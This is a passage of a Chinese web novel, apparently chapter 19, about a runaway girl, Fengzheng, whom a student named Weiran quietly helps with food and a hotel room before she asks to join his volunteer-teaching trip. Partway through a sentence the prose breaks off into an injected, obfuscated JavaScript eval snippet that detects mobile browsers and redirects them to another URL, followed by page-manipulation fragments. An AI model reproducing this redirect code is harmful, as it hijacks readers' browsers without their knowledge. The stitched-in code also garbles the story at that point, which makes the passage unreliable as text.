“这样啊，阿姨，您可真是一个好人，您不知道，我肚子正饿得咕咕叫呢！”风筝说着笑了起来，吃第二份的时候，明显淑女了一些，老板看着她，只是笑，却在风筝低头吃东西的瞬间长舒了一口气，这小丫头一个问题接一个问题，差点问得她答不上来。 风筝吃饱了，也没忘了自己试吃是有任务的，想了想对老板说，“阿姨，这米粉很好吃，您一定会大卖的！如果非要提意见的话，我觉得可以再辣一点！” 老板被她逗得咯咯直笑，“没看出你小小年纪还挺能吃辣，这么多辣子，我们湖南好多姑娘都吃不了，可我听你这口音，不是湖南的吧？” 风筝也礼貌地笑了笑，“我是陕西的。” “陕西的啊，陕西姑娘也能吃辣，不过你们那的辣子啊和我们这的不一样！” “是有些不一样。” “对了，等我一下。”老板娘接过碗筷，忽然间想起什么，转身又回到了店里。 她很快又回来，手里的塑料袋里装着几个鸡蛋、火腿肠、豆腐干之类做米粉的配料，递给风筝，“马上就关店了，店里估计也没什么客人了，你把这些拿着吧，你和我家的女儿差不多大，我家的女儿也在外地上学，所以我啊一见你就喜欢，这是我的一点心意，你也别拒绝，不拿也是浪费。” 见风筝推脱，阿姨将塑料袋放到她的手里，说了这些就转身回到店里忙去了，风筝望着米粉店老板的背影，心里又暖又感动，眼圈竟不禁有些红了。 她跑过去追上老板，十分真诚地鞠了一个躬，说，“阿姨，谢谢您！祝您生意兴隆！” “好，好！”米粉店老板连连点头，风筝和她回头道别，一手掂着这一袋子的吃食，一手托着，觉得自己真是幸运极了！老天爷还不算完完全全的将她给忘了。 而米粉店里，蔚然走到老板的身边，掏出一百元递给老板，笑道，“谢谢您了，依我看呐，您的演技可真不错，可比那些电视上的演员自然多了！” 老板被逗得直笑，“小伙子，你可别拿我开玩笑了，要我说啊，两个人生气吵两句嘴就行了，这么晚了，你不怕小姑娘一个人出什么事啊？” 米粉店老板显然是误会了蔚然和风筝的关系，不过蔚然也没有打算解释，只笑着说，“我知道，谢谢您。” 说罢，推门离开。 路灯下，他看着风筝渐行渐远的单薄背影，一只脚迈向了与风筝相反的方向，可脑海中却不自觉地蹦出了各种少女离家出走遇害的新闻，立马顿住，不由悠悠叹了一口气，自言自语：“蔚然啊，你什么时候才能改掉爱管闲事的毛病？” 接着又否定了自己之前的说法，“什么爱管闲事，这是做好人好事才对！嗯，像我这种优秀青年就要多做好人好事！” 他仿佛自我肯定般的点了一下头，转身便快步追风筝去了。 19. Chapter 19 “小丫头，去哪儿呀？” 风筝被这突如其来的声音吓了一跳，一回头看见是蔚然，笑道，“怎么是你？” “是啊，咱俩可真是有缘分。我看你在这条街上溜达了好一段时间了，是准备去哪儿？” 风筝有些不好意思地低下了头，“还没想好。” “还没想好？”蔚然斜眼看着她，很想问问她，离家出走好玩吗？但又觉得有些唐突，只好叹了一口气，说，“走吧，今晚看来只能由我来收留你了。” 风筝愣愣地看着他，没有动。 蔚然转身走了几步，发现风筝还站在原地，又走回来问她，“怎么，你难道更愿意睡在马路上？” 风筝的脑袋瓜飞快地转了一下，她当然不愿意睡在马路上，虽然她没办法确定眼前的这个人百分百是一个好人，但谁又能知道这街上的其他人是好人还是坏人呢？如果都是坏人，一个坏人总比满大街的坏人好对付吧？！况且，不知怎的，她就是对蔚然有一种天然的信任，她觉得，如果长这么帅的人是一个坏人，也太浪费老天爷的偏爱了吧！ 想到这里，立马摇了摇头表示了她的不愿意，拉着行李迅速跟上了蔚然。 后来风筝再想起来，这一天几乎是她人生中一个很重要的分水岭，从遇见蔚然开始，一切都变得顺利和美好起来了。蔚然像是上苍留给她的一个惊喜，在她重重跌落到了人生的低谷时，他奇迹般地出现在她的生命里，一路带着她向人生的高峰攀爬，并照顾她，呵护他，不求回报地一点点抚平了她心里所有的伤痕。 如果说她过去的生活是暗灰色系的，那么从这一天开始，未来的每一天都将是五颜六色的，充满了欢笑与幸福。 人生啊，从来都让人捉摸不定。 风筝跟着蔚然来到酒店，当然，他们并没有住在一起，蔚然帮她重新开了一间房间，她一个人住。 在酒店的走廊里，他们碰见了蔚然的那帮同学，其中一个男孩正拎着啤酒和零食从一个房间往另外一个房间窜，余光中看见蔚然拿着房卡帮风筝开门，忽然“哟”了一声，从房间里转身出来，笑嘻嘻地问蔚然，“这是怎么回事呀？” 他的语气充满了调侃之意，让风筝的心里有些不自在，蔚然推了他一把，“去去去，有你什么事儿。” 那男孩却显然不准备离开，看样子和蔚然很熟悉，继续嬉皮笑脸，“喔唷，大作家，我和你认识这么久可从来没见过你带小姑娘来酒店啊，我还以为你喜欢的女人只存在在你的小说当中呢！” “说什么呢，人家还是未成年，闭上你的臭嘴。”蔚然竟被他说的有些不好意思了，对方明显也扑捉到了蔚然脸上的情绪变化，便更是来劲，“哟哟哟，您这脸怎么红了？” “红什么红，你的脸才红了呢！”为了不让朋友继续打趣他，他推着他的同学将他赶回了房间，可那男孩看起来却还没有看够热闹似的，挣扎着和风筝说，“小姑娘，我是林寒，我可是蔚然最好的朋友啊……” 风筝看着他，觉得又好气又好笑，干嘛要和她做自我介绍啊？ 蔚然赶走了林寒，用手指了指脑袋和风筝解释，“我朋友这里有点问题。” 却不想，话音没落，就看见林寒在那边的房间探出了一个脑袋，反驳道，“你才这里有问题。” 蔚然转身，还没说话，便听“砰”的一声，林寒迅速关上了门。 不等蔚然拿出房卡将房门打开，林寒的门又开了，蔚然听见响声怒目盯着他，“又干嘛？” 林寒却一副十分关心蔚然的样子，说，“我想提醒你，明天早上六点支教队伍要出发，你别过头了起不来……” 蔚然忍无可忍，吼道，“滚！” 林寒却显然已对他们之间这样的对话习以为常，贱兮兮地打了一个“OK”的手势，笑道，“好的，我滚了。” 关上了门，这次果真没有再出来。 蔚然显得有些尴尬，而一旁的风筝这会儿被他们闹得已经不知道是该生气该尴尬，还是该笑出来了。 蔚然打开房间门，将房卡插在电槽里，屋内的灯瞬间就亮了，他走进房间四下环顾了一圈，打开窗户确认空调也是好的，才转过身来看着风筝说，“今晚你就睡在这里吧，我在你的隔壁，有什么事儿随时敲我的门。” “谢谢你。”风筝的内心对蔚然周到的照顾充满了感激之情。 “早点休息吧。”蔚然没再说什么，离开了风筝的房间。 风筝简单的收拾了一下自己，坐在房间的床铺上，酒店的灯光昏暗，房间里静的让人害怕，她没什么行李，显得这间小小的快捷酒店房间也偌大无比，打开电视，翻腾一圈也不知道该看些什么节目，但她宁愿这么开着，听起来也是热闹的。 她细细地想着，今天遇见蔚然，她大概是用光了前十八年所有的好运，但是明天呢？明天该怎么办？现在她已经完全确定蔚然并不是一个坏人了，可她与蔚然非亲非故，今日受到的恩惠还不知道日后有没有机会偿还，明天，总不能再继续麻烦他了。 “好难啊……”她不觉感叹，将身体陷入到柔软的床垫之中，享受着这短暂且不真实的惬意。 脑海中突然浮现出林寒的脸，“我想提醒你，明天早上六点支教队伍要出发，你别过头了起不来……” 等等，支教？她能不能和他们一起去支教？这个想法从她的脑袋中闪过，她激动地立马坐起身，在床前踱起步来，她虽然学历不高，去山村学校帮个忙总应该是没问题的，如此，她付出了一定的劳动，与蔚然他们同行也不会觉得自己太拖累别人，她也知道，去支教没有什么收入，可她继续留在这个城市也未必就能找到工作，倒不如走一步算一步，在条件艰苦的山村，消费水平还低了呢！ 她高兴地拍了拍手，决定立马将这个想法告诉蔚然去，看看蔚然是什么意思。 走到蔚然的房间门口，她轻轻敲了敲门，心里又突然纠结起来，付出了一定的劳动，就真的不麻烦别人了吗？她有些拿捏不定。这时，蔚然从里面打开了门，他刚洗了澡，穿着一身宽松的睡衣，头发上的水还没有完全擦干，时不时顺着他的头发低落到脸颊上，再划过他好看的面庞，低落至衣服上，他一边拿着毛巾，随性地擦着头发，一边问：“怎么了？” 风筝顺着低落在他脖颈间的水滴看去，才发现蔚然属于那种穿衣显瘦，脱衣有肉的身材，他的肩膀宽阔，敞开的衣领处隐约可见他结实的胸肌，她不自觉地红了脸，立马将视线转开，“我……我想说……”嘴巴突然间也变得不灵敏了，大脑更是乱作一团，简单的一句话怎么也组织不到一起。 “是不是很性感？”林寒魔性的笑声适时传来，他站在蔚然的身后，探出个脑袋，嘴里叼着一块牛肉干，表情十分狡黠。 这句话让风筝的脸更红了，她几乎找不到一句合适的可以应对林寒的话，只是慌忙将头低得更深了。 蔚然抬肩，刚好撞到林寒的下巴，林寒没留神咬了自己的舌头一下，立时捂着嘴巴指责蔚然：“你这个小气鬼，捉弄一下都不行吗？！” 蔚然瞥了他一眼没有回答，又问风筝，“是不是有什么事？” “我……我想和你商量一件事。” “好，进来说吧。” 蔚然将风筝让进了屋，林寒揉着他的下巴也跟着进来了，风筝在椅子上坐下，蔚然坐在她的对面，风筝说，“我想和你们一起去支教，可以吗？” “可以啊！”没料到连想都没想就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183603|165406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应的人竟然是林寒，“热烈欢迎，支教队伍越庞大越好啊！” 风筝看看蔚然，他正微锁眉头思考着什么。 “这有什么好思考的！”林寒拍了蔚然一下。 “你先回去。”蔚然对林寒说。 林寒起初还有些不情愿，“为什么啊？我又不是外人。”见蔚然很坚决软硬不吃也只好作罢，悻悻地离开了。 蔚然关好房门，重又坐到风筝的身边，问道，“为什么想要和我们一起去支教？” 风筝不知该如何作答，总不能告诉蔚然自己离家出走无处可去吧，暂时选择沉默。 蔚然又问，“你到底为什么来这个城市？” 风筝依然沉默。 “你今年多大了？家在哪里？”蔚然环抱起双臂，问题一个接一个，风筝觉得很好笑，自己像是犯人在受审似的，不禁说道，“干嘛，你审犯人啊？” “你不老老实实告诉我，我是不会带你去支教的。” “别呀。”风筝央求他。 “那你告诉我，你多大了？” “十八。” “这个年纪，不上学不回家在陌生城市干嘛呢？” “我没有学上，也没有家回呗。” “什么意思？” 风筝没打算和蔚然说实话，自然也装不出多真实地可怜相，只能尽量让声音显得可怜兮兮，“爸爸妈妈都死了，没有考上大学，也没有地方可以去，想着来这边打工，还没找到工作就遇到你了。” “你家里没有其他的亲戚了？” “没有了。” “那你是哪里人？” “西安。” “为什么选择来这里呢？怎么不在西安找一份工作？” “不想再呆在那里了，想过全新的生活，但是我没有钱，只能买到这里的火车票，想着走一步算一步呗。”风筝突然想起她的身份证，立马拿出来递给蔚然看，“不信你看，我说的全是真的。” 蔚然接过风筝的身份证，大概扫了一眼，“风筝，真是一个特别的名字。”蔚然说，身份证上的其他信息都没有错，但蔚然并没有完全相信风筝的话，他算是一个眼睛比较尖的人，风筝拙劣的演技根本不可能逃过他的眼睛，可他想，这话虽然不实，也不完全假，风筝的确没地方可去至少是可以肯定的。 “那你有没有下一步打算？支教两个月之后，我们都要回北京，到时候你怎么办？” 风筝叹了一口气，“像我这种过了今天，还不知道明天怎么填饱肚子的人，怎么可能想得到两个月以后的事情。” 她像是一只被放了气的气球，显得十分沮丧，可又让人觉得可爱的要命，小嘴微微嘟着，到底是年轻，没有任何修饰却看起来很是红润，衬得她肤白如雪，长长的睫毛低垂着，蔚然也不能完全免俗，不由心生怜悯。 风筝愁着愁着，突然反应了过来，立马阴天转晴，笑着望向蔚然，“这么说，你同意了？” 蔚然故意学着她的样子也叹了一口气，“那你说，我该怎么办呢？” “耶！”风筝高兴地跳了起来，又转身向蔚然道谢，“谢谢你，对了，我还不知道你叫什么名字。” “蔚然。” “蔚然……真好听。” 蔚然笑了笑，风筝又说，“啊，我要赶紧回去准备休息了，明天还要早起呢！” 蔚然点头，看着风筝欢天喜地地离开了自己的房间，不由心里也跟着开心起来，但他又一时搞不明白这种开心是从何而来，他只是想：风筝可真是一个简单的女孩子，这样一件小事就能让她这样开心，如此心思清澈的女孩子，在他的圈子里，的确是很难遇到的。他喜欢她的清纯，像不沾染一点污泥的莲花。